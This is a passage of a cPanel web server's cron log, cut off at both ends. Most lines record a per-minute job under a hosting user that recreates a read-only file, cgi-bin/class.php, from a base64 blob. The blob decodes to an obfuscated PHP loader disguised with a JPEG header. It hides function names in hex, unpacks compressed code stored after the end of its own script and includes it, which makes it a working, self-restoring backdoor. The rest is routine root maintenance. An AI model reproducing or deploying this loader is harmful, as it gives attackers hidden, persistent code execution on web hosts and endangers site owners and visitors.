RmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:59:01 server CROND[30175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:00:01 server CROND[30245]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 17:00:01 server CROND[30246]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:00:01 server CROND[30247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:00:01 server CROND[30248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:01:01 server CROND[30386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:01:01 server CROND[30387]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 17:01:01 server run-parts(/etc/cron.hourly)[30387]: starting 0anacron
Apr  9 17:01:01 server run-parts(/etc/cron.hourly)[30400]: finished 0anacron
Apr  9 17:02:01 server CROND[30473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:03:01 server CROND[30532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:04:01 server CROND[30706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:05:01 server CROND[30782]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 17:05:01 server CROND[30783]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:05:01 server CROND[30786]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  9 17:05:01 server CROND[30788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:05:01 server CROND[30787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:06:01 server CROND[30930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:07:01 server CROND[31006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:08:01 server CROND[31083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:09:02 server CROND[31243]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 17:09:02 server CROND[31244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:10:01 server CROND[31314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:10:01 server CROND[31315]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:10:01 server CROND[31316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:10:01 server CROND[31317]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 17:11:01 server CROND[31496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:12:01 server CROND[31578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 